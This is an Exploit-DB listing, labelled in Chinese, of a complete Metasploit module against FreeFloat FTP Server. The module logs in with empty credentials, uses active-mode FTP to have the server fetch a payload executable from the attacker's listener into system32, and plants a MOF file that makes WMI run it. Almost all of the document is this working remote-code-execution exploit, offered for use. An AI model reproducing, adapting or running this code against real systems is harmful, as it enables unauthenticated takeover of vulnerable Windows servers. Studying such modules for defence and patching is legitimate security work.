Freefloat FTP Server – Arbitrary File Upload (Metasploit)

  • 作者: Metasploit
    日期: 2012-12-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/23226/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::Ftp
    	include Msf::Exploit::Remote::TcpServer
    	include Msf::Exploit::EXE
    	include Msf::Exploit::WbemExec
    	include Msf::Exploit::FileDropper
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "FreeFloat FTP Server Arbitrary File Upload",
    			'Description'=> %q{
    					This module abuses multiple issues in FreeFloat: 1. No credential is actually
    				needed to login; 2. User's default path is in C:\, and this cannot be changed;
    				3. User can write to anywhere on the server's file system.As a result of these
    				poor implementations, a malicious user can just log in and then upload files,
    				and let WMI (Management Instrumentation service) to execute the payload uploaded.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'sinn3r', # Vulnerability discovery, Metasploit module
    					'juan vazquez' # Metasploit module
    				],
    			'References' =>
    				[
    					['URL', 'http://metasploit.com']
    				],
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					['FreeFloat', {}]
    				],
    			'Privileged' => true,
    			'DisclosureDate' => "Dec 7 2012",
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				# Change the default description so this option makes sense
    				OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
    			], self.class)
    
    		deregister_options('FTPUSER', 'FTPPASS') # Using empty user and password
    	end
    
    
    	def check
    		connect
    		disconnect
    
    		if banner =~ /FreeFloat/
    			return Exploit::CheckCode::Vulnerable
    		else
    			return Exploit::CheckCode::Safe
    		end
    	end
    
    
    	def on_client_connect(cli)
    		peer = "#{cli.peerhost}:#{cli.peerport}"
    
    		case @stage
    		when :exe
    			print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)")
    			cli.put(@exe)
    			@stage = :mof
    
    		when :mof
    			print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)")
    			cli.put(@mof)
    		end
    
    		cli.close
    	end
    
    
    	def upload(filename)
    		select(nil, nil, nil, 1)
    
    		peer = "#{rhost}:#{rport}"
    		print_status("#{peer} - Trying to upload #{::File.basename(filename)}")
    
    		conn = connect(false, datastore['VERBOSE'])
    
    		print_status("#{peer} - Sending empty login...")
    
    		res = send_user("", conn)
    		if not res or res !~ /331/
    			print_error("#{peer} - Error sending username")
    			return false
    		end
    
    		res = send_pass("", conn)
    		if not res or res !~ /230/
    			print_error("#{peer} - Error sending password")
    			return false
    		end
    
    		print_good("#{peer} - Empty authentication was successful")
    
    		# Switch to binary mode
    		print_status("#{peer} - Set binary mode")
    		send_cmd(['TYPE', 'I'], true, conn)
    
    		# Prepare active mode: Get attacker's IP and source port
    		src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
    		src_port = datastore['SRVPORT'].to_i
    
    		# Prepare active mode: Convert the IP and port for active mode
    		src_ip = src_ip.gsub(/\./, ',')
    		src_port = "#{src_port/256},#{src_port.remainder(256)}"
    
    		# Set to active mode
    		print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"")
    		send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)
    
    		# Tell the FTP server to download our file
    		send_cmd(['STOR', filename], false, conn)
    
    		disconnect(conn)
    	end
    
    
    	def exploit
    
    		exe_name = "WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"
    		mof_name = "WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof"
    		@mof= generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
    		@exe= generate_payload_exe
    		@stage = :exe
    
    		begin
    			t = framework.threads.spawn("reqs", false) {
    				# Upload our malicious executable
    				u = upload(exe_name)
    				# Upload the mof file
    				upload(mof_name) if u
    				register_file_for_cleanup("#{::File.basename(exe_name)}")
    				register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
    			}
    			super
    		ensure
    			t.kill
    		end
    	end
    
    end